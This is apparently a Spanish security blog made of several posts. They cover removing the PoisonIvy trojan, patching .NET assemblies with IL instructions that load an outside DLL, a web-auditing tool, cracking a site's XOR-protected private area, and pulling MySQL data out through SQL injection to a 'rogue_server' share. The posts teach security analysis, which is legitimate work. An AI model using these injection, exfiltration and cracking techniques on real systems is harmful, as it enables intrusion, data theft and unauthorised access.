Detectando y eliminando PoisonIvy

PoisonIvy es uno de los troyanos más conocidos que existen, el otro día decidí ponerme a jugar un rato con él para ver las funcionalidades que tiene y como se esconde en el sistema. Acto seguido se explicará la forma de detectar si realmente estamos infectados por él y la manera de eliminarlo.

Una de las formas más sencillas para identificar que estamos siendo infectados por troyano es realizar un análisis de los procesos que están siendo ejecutados.

Si analizamos cada uno de los procesos observaremos como sospechosamente existe un proceso con PID 1744 llamado IEXPLORER.EXE (Navegador) que sospechosamente no hemos ejecutado y que a simple vista no lo tenemos abierto en nuestro sistema.

Si eliminamos el proceso, automáticamente vuelve a iniciarse automáticamente. Ejecutaremos ProcessMonitor para detectar quien es el encargado de ejecutar el proceso.

Suponiendo que el explorer.exe no se encuentra modificado (si no perdería la firma y nos avisaría al iniciarse), solo nos queda pensar que algún proceso está inyectando código en el explorer.exe cuando se carga en memoria.

Utilizando el autoruns.exe identificamos que existe un registro en la clave “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” con un nombre un tanto sospechoso.

Si realizamos la búsqueda del mismo archivo en los runs obtenemos otra entrada en los registros de los ActiveX “HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components” que apunta al mismo fichero.

Ya podemos sospechar que realmente el que infecta el proceso explorer.exe al ejecutarse es este ActiveX. Para detectar si realmente esta sospecha es cierta, podemos ejecutar ProcessMonitor y visualizar los procesos que se ejecutan al cargar un nuevo explorer.exe.

Vemos como realmente es el ActiveX el encargado de inyectar código en el explorer.exe.

Si observamos la ruta que ejecuta dicho ActiveX, vemos como utiliza la técnica del ADS para esconder el binario que ejecuta la infección.

Para comprobar que realmente existe el fichero escondido en la carpeta system32 utilizamos la herramienta streams.exe.

Si en cualquier momento del análisis se intenta eliminar cualquiera de las pruebas que se han encontrado, instantáneamente volverá a generase o iniciarse ya que el explorer.exe infectado se encarga de generarlos.

Para solucionar este problema, tenemos dos alternativas: levantar la máquina con un Live CD y eliminar los registros y ficheros detectados o realizar las operaciones con el explorer.exe cerrado. Para no tener que reiniciar la máquina optaremos por realizar la eliminación de los ficheros sin tener ejecutado el explorer.exe.

Ficheros de Inicio

Tanto el registro del Run como el del ActiveX los podemos eliminar desde el registro o con la aplicación autoruns.exe.

Fichero oculto mediante ADS

Del mismo modo que la aplicación streams.exe nos detecta los ficheros ocultos mediante ADS, nos permite su eliminación añadiendo el parámetro “-d”.

Una vez hayamos eliminado los dos registros y el fichero oculto de nuestro sistema habremos eliminado el troyano y conseguiremos que no se vuelva a ejecutar.

Un Saludo!!

Atacando ensamblados .NET: Otra forma de inyectar código

En un artículo anterior (http://soctano.blogspot.com/2010/03/inyeccion-de-codigo-en-ensablados-net.html) escribí como inyectar código en ensamblados .NET. En ese post explicaba los pasos a realizar para cargar nuestra librería en otro ejecutable programado en la plataforma .NET.

En éste otro artículo explicaré una forma más sencilla de realizar la inyección de código pero desde otra perspectiva. Aquí no seremos nosotros los que inyectemos nuestro código en la aplicación, sino que será la aplicación la que se inyecte en nuestro código.

Los pasos a realizar son similares, únicamente necesitaremos una aplicación a atacar (Utilizaré el fuzzer web CAT), reflector, reflexil (versión >= 1.1) y el Visual Studio.

Cargaremos el binario a atacar en reflector, y utilizaremos el plugin reflexil para poder modificar las propiedades de privadas a públicas de los controles o métodos que queramos utilizar.

En este caso, como únicamente realizaré una inyección de un control en el FormMain.Controls, no será necesaria ningún tipo de modificación, pero si quisiéramos acceder a controles ya existentes, deberíamos hacerlos públicos mediante ésta técnica (a no ser que se quiera tirar de reflexión…)

Una vez modificado, guardamos el binario situándonos en el nivel dl arbol ‘AppTool.exe’ , y haciendo clic en el botón del panel derecho ‘Save as’.

A continuación, creamos un proyecto .NET y agregamos nuestro binario modificado como referencia.

Una vez lo tenemos referenciado, podemos crear una nueva instancia del MainForm del CAT, acceder a la propiedad ‘Controls’, y agregar nuestro código como control del formulario.

Crearemos un control, el cual será el que inyectaremos…

Un par de líneas código para instanciar el formulario, y agregar el nuevo control, y ponerlo al frente.

Ahora solo queda generar la solución del programita que hará la inyección, y un paso importante… Copiar el ejecutable generado en la carpeta donde esté localizado la referencia cargadas por el binario del CAT, ósea en ‘C:\Program Files (x86)\Context Information Security Ltd\CAT’

y… voilá!, ahí tenemos nuestro controlzuelo

¡¡visca el barça!!

TMap 0.2 Released

En el articulo anterior anunciaba una preview de esta herramienta, la cual ahora en un estado más o menos aceptable en cuanto a usabilidad, paso a publicar.

El objetivo de esta herramienta es la semi-automatización de ciertas técnicas de auditoria web como la busqueda de directorios abiertos, de metodos inseguros (PUT, DELETE…) en directorios, y de versiones antiguas de ficheros o copias de seguridad.

Para empezar a usar TMap es necesario realizar una recopilación de URLs, las cuales TMap utilizará para generar una base de datos mediante la cual realizará los ataques.

Ante una auditoria web, una forma rápida y eficiente de recopilar URLs sobre un dominio es navegar a través de un proxy como BurpSuite, y utilizar el ‘Spider’ para incrementar más aun el tráfico.

Una vez tengamos suficiente información recopilada podemos copiar todas las URLs extraidas haciendo clic desde ‘Site Map’ sobre el dominio y luego en ‘Copy URLs in this host’.

Ahora que tenemos las URLs en el portapapeles, las guardaremos en un archivo y abriremos TMap J.

(@Pedro, ¿Creias que te librarias del icono del diablillo? ;D)

Para generar la base de datos debemos introducir el comando ‘load’, y luego el nombre del fichero que contiene las URLs. Esta operación puede llevar varios minutos si el fichero de URLs es algo grande.

Los principales comandos son los siguientes:

· Map folders: Realiza búsquedas de directorios abiertos

· Map files: Realiza búsquedas de copias de seguridad o versiones antiguas.

· Map methods: Realiza búsquedas en directorios o archivos que tengan habilitados métodos específicos (Ejpl: PUT , DELETE…)

TMAP 0.2 Binary

TMAP 0.2 Source

Preview: Pentesting con TMap

TMap (En versión alpha) se trata de una aplicación de pentesting web cuyo principal objetivo es la localización de ficheros de backup y directorios abiertos.

Su funcionamiento es muy simple, lee de un fichero una lista de direcciones web, y de ellas genera una base de datos con las siguientes características:

· Realiza un análisis de cada uno de los directorios que aparezcan en el mapa web, sobre los cuales posteriormente realizará peticiones en búsqueda de directorios abiertos.

Si lee una dirección como la siguiente, ‘http://servidor/contenido/descargas/documentos/archivo.doc’, se realizarán peticiones sobre /contenido/, /contenido/descargas/ y /contenido/descargas/documentos/.

· Busca copias de seguridad comprimidas por cada directorio.

Si lee una dirección como la siguiente, ‘http://servidor/contenido/descargas/documentos/archivo.doc’, se realizarán peticiones sobre /contenido.[zip,rar,tar,tar.gz,gz], /contenido/descargas.[zip,rar,tar,tar.gz,gz], /contenido/descargas/documentos.[zip,rar,tar,tar.gz,gz].

· Realiza mutaciones en los nombres de los archivos, en búsqueda de versiones antiguas.

Las mutaciones realizadas son las siguientes:

o nombre { 1, 2, 3, _1, _2, _3 } . extensión

o nombre . extensión . { old, bak, 1, 2, 3, txt }

o nombre . { old, bak, 1, 2, 3, txt }

Para la generación del archivo de URLs es posible realizarlo mediante la utilización de BurpSuite. Para ello, utilizando BurpSuite como proxy debemos navegar a la web, intentando generar el mayor tráfico posible, puesto que cuantas más URLs obtengamos, mayor será el análisis a realizar por TMap, aunque si somos vagos siempre podemos utilizar la funcionalidad de ‘Spider’:

Una vez tengamos suficiente tráfico generado, podemos copiar la lista de URLs a nuestro portapapeles haciendo clic en ‘copy URLs in this host’.

Este contenido lo volcaremos en un archivo, y se lo pasaremos a TMap para que lo analice J

Al arrancar el programa se realizará un análisis previo del numero de directorios, ficheros, y ficheros ‘mutex’ (Es así como he llamado a los ficheros modificados):

Si tratamos de realizar una búsqueda de directorios abiertos, los resultados positivos se nos mostrarán por pantalla.

Comprobemos que TMap no miente…

En cuanto a la búsqueda de ficheros de backups, se puede realizar un filtrado por códigos de error.

También siento deciros que este artículo se trata de una preview, de momento se trata de una versión alpha privada y no está disponible. Trataré de terminar la aplicación a una versión medianamente aceptable y la publicaré aquí.

¡Un saludo!

Rompiendo algoritmos XOR. Caso real

Días atrás encontré una web la cual pedía autenticación para acceder a una zona privada (Creo que el software de cifrado se llama 8vsb). Lo curioso de esto es que la autenticación no era enviada por formularios a ninguna parte.

Dicha página contenía la zona privada dentro de sí misma, pero este contenido estaba encriptado, y únicamente podía ser visualizado si se introducía la password.

En la siguiente imagen se ve la página encriptada:

Si continuamos analizando el código JavaScript, veremos unas líneas en donde se realizan varias comprobaciones previas al algoritmo de descrifrado, para verificar que todo es correcto.

He marcado de amarillo las líneas que hay que eliminar, y de azul las líneas que hay que añadir para ‘engañar’ al sistema de comprobación.

Seguimos traceando el codigo JavaScript, y vemos que la operación de des/cifrado consiste en una operación XOR (c=c^44^password[índice]), como se ve en la siguiente captura:

El funcionamiento de un algoritmo XOR es muy simple,

Un algoritmo XOR es tremendamente débil en los casos en los que se conoce parte del contenido cifrado.

Su funcionamiento es muy simple, se realiza una operación XOR byte a byte del contenido a encriptar con el byte correspondiente del password.

La operación lógica XOR vale 0 cuando los dos operandos son iguales (0:0 o 1:1), y vale 1 cuando los dos operandos son diferentes (1:0 o 0:1).

Por lo tanto, si lo aplicamos alreves (Al byte encriptado le aplicamos el password), obtendremos el byte original, ya que se trata de un algoritmo reversible.

Por lo tanto, si supiéramos el contenido de los primeros bytes del contenido cifrado de dicha página, sería muy simple obtener los primeros bytes del password.

Dado que lo más probable es que el contenido cifrado de la página sea contenido HTML, es de suponer que el contenido cifrado empiece por ‘<html>’ (6 bytes).

Si esta suposición fuese correcta, únicamente deberíamos realizar 256 operaciones para la obtención de cada byte del password, lo cual, mediante un ataque de fuerza bruta sería algo trivial. Si tenemos en cuenta que se trata de un password, habría que reducir las 256 posibilidades al mapa de caracteres imprimibles, quedando éste mucho mas reducido.

Para la obtención del primer byte del password sería un algoritmo similar a este:

Charset = “abcdefghijklmnñopqrstuvwxyz0123456789.:,-|@#€¬€¿?”;

For (int i = 0; i < charset.length ; i++)

{

if (cifrado[0] ^ charset[i]) == “<”

Message(“El primer byte del password es “ + charset[i]);

}

Para la obtención del Segundo byte del password, se debería realizar la comprobación con ‘h’ en vez de ‘<’, ya que ‘h’ es el segundo byte de ‘<html>’.

¡Dejémonos de teoría!, vamos a ver si esto realmente funciona.

He modificado el código Javascript, introduciendo unas líneas antes de la operación XOR, la cual nos mostrará en pantalla partes del contenido descenriptado con el password que nosotros introduzcamos.

En este punto, no sabemos el password que debemos introducir, sin embargo suponemos que el contenido del primer byte será ‘<’, por lo que introduciremos por ‘fuerza bruta manual’ distintos valores.

En la siguiente imagen, introduje el carácter ‘A’ , y el primer byte descrifrado que nos devolvió fue ‘o’. Por lo tanto… La password no empieza por ‘A’.

Ahora, introduciremos ‘2’ como password, y vemos que nos devuelve ‘<’ como primer byte. Todo coincide, puede que sea el inicio de ‘<html>’

Solo hay que seguir realizando los mismos pasos, byte a byte hasta conseguir el password.

¡Hasta otra!

Descarga de ficheros y extracción de datos de Mysql mediante Netbios

Una de las tareas más lentas, repetitivas y que más rastros dejan en el log del servidor web es la descarga de ficheros o de información de una base de datos mediante técnicas de Blind Sql Injection.

En el gestor de base de datos Mysql es posible la lectura y escritura de ficheros de forma remota mediante recursos compartidos, característica que puede ser utilizada para la descarga de ficheros remotos o la extracción de información de la base de datos.

Para ello es necesaria la creación de un recurso compartido el cual permita la autenticación nula, ya que MySql realizará una conexión mediante ‘null session’. Para permitir la sesión nula debemos proporcionar acceso al recurso a todos los usuarios, con permisos de lectura y escritura para que pueda crear archivos en esta localización.

 

 

Una vez tenemos un servidor de recursos compartidos, podemos inyectar mediante SQL Injection las siguientes querys que hacen uso de la función ‘load_file()’ y de la sintaxis de ‘select … into outfile’ para cargar ficheros locales y guardarlos en un equipo controlado por el atacante.

 

 

Si el firewall del servidor no impide realizar conexiones a través del puerto 139 y tenemos permisos para la ejecución de la función load_file() obtendremos el fichero en nuestro recurso compartido.

 

 

Sin embargo, si no disponemos de permisos de ejecución de load_file() y el firewall nos permite las conexiones, podremos volcarnos información por medio de la query ‘select * from db.tabla into outfile “\\\\rogue_server\\recurso\\fichero”’.

 

 

Esta es una alternativa a utilizar en escenarios donde nos encontremos una vulnerabilidad Blind Sql Injection, permitiéndonos descargarnos todo el contenido con una sola query.

¡Un saludo!

Inyección de código en ensamblados .NET

Durante este articulo se verá cómo es posible modificar los ensamblados en .NET de modo que se pueda inyectar tanto código .NET o código no manejado en este tipo de aplicaciones, pudiendo dotarlas de nuevas características, tales como plugins (o malware) sin que la aplicación original disponga de soporte para ello.

Para realizar éste ejemplo es necesario un decompilador de .NET (Reflector), un plugin con el que inyectar código IL (Reflexil) y un mínimo de conocimientos del lenguaje .NET y IL.

Antes de comenzar, se debe instalar el plugin ‘Reflexil’ para ‘Reflector’. Para agregarlo, basta con ir a ‘View -> Add-ins -> Add’ y cargar la librería ‘reflexil.dll’. Una vez cargado, es posible acceder a su menú haciendo clic en ‘Tools -> Reflexil’.

Figura 1: Cargando plugin Reflexil

Como segundo paso se crea una pequeña librería en .NET que será la que la aplicación cargará, consiguiendo así la ejecución de código y accesibilidad a sus componentes internos a través de reflexión.

La Liberia, en esta caso es muy sencilla, únicamente cargará un formulario con una imagen y mostrará un mensaje.

Figura 2: Código que se cargará en la aplicación como DLL

Una vez hecha la librería, es necesaria la decompilación de la aplicación sobre la cual se quiere realizar la inyección de código. En éste caso se ha escogido, como ejemploNotepad.NET. Basta con arrastrar el ejecutable sobre el panel de ‘Reflector’, y se mostrará un árbol con todas sus métodos, propiedades, etc...

Figura 3: Código que se cargará en la aplicación como DLL

Para saber donde realizar la inclusión del código se debe localizar el punto de entrada de la aplicación, o el método en el que se desée que se ejecute el código. En este caso se va a realizar sobre la entrada a la aplicación, en Main(String[]).

Una vez llegado a éste punto, es hora de usar ‘Reflexil’ para la inclusión de código IL. Unicamente se deben inyectar las instrucciones necesarias para que realice la carga de forma dinámica de la librería que se ha creado anteriormente.

No os asustéis si no sois expertos en reversing, únicamente son cinco instrucciones. Una vez la aplicación esté parcheada no será necesaria volver a modificarlas. Basta con hacer clic derecho sobre el panel de ‘Instructions’ del plugin y clic sobre ‘Create new’ para agregar las siguientes instrucciones:

· LDSTR ‘c:\ruta\libreria.dll’

· CALL System.Reflection.Assembly::LoadFile(System.String)

· LDSTR ‘namespace.class’

· CALLVIRT System.Reflection.Assembly::CreateInstance(System.String)

· POP

Figura 4: LDSTR ‘c:\ruta\libreria.dll’

Figura 5: CALL System.Reflection.Assembly::LoadFile(System.String)

Figura 6: LDSTR ‘namespace.class’

Figura 7: CALLVIRT System.Reflection.Assembly::CreateInstance(System.String)

Figura 8:POP

Cuando se busque el método CreateInstance() o LoadFile() en las instrucciones CALLy CALLVIRT hay que tener en cuenta que éstas se encontrarán dentro del nodo‘mscorlib -> CommonLanguajeRuntimeLibrary -> System.Reflection -> Assembly’.

Figura 9: Ubicación método LoadFile()

Una vez finalizado, el método modificado debería quedar de forma similar a la siguiente captura de pantalla. En azul está el código inyectado que realiza la carga de la librería:

Figura 10: Código inyectado

Tras todo este proceso, basta con guardar el ensamblado modificado haciendo clic en el nodo del ensamblado en Reflector, y a continuación en ‘Save As’.

Figura 11: Guardando el ensamblado modificado

Si todo se ha realizado correctamente, al ejecutar la aplicación se cargará y ejecutará la nueva librería, consiguiendo así el objetivo de inyectar código en un compila .NET tal y como se puede ver en la siguiente captura de pantalla, donde, junto con la ejecución de la aplicación, también se ha ejecutado el formulario que desarrollado en la librería.

Figura 12: Ejecución de código inyectado

Si se hace uso de ProcessExplorer se puede observar como la aplicación tiene cargada en memoria la librería ‘dll.dll’.

Figura 13: dll.dll vista en Process Explorer

Éste ha sido un sencillo ejemplo de los pasos necesarios para la posibilidad de ejecución de código por una aplicación. Ésto, junto con conocimientos de reflexión en .NET abre un gran número de posibilidades, donde se puede obtener un gran control sobre la aplicación, ofreciendo la posibilidad de crear o agregar nuevas características a las mismas.

Por supuesto, en Black Hat Europe 2009 alguien pensó que estas posibilidades se podían utilizar para crear Rootkits directamente el .NET framework.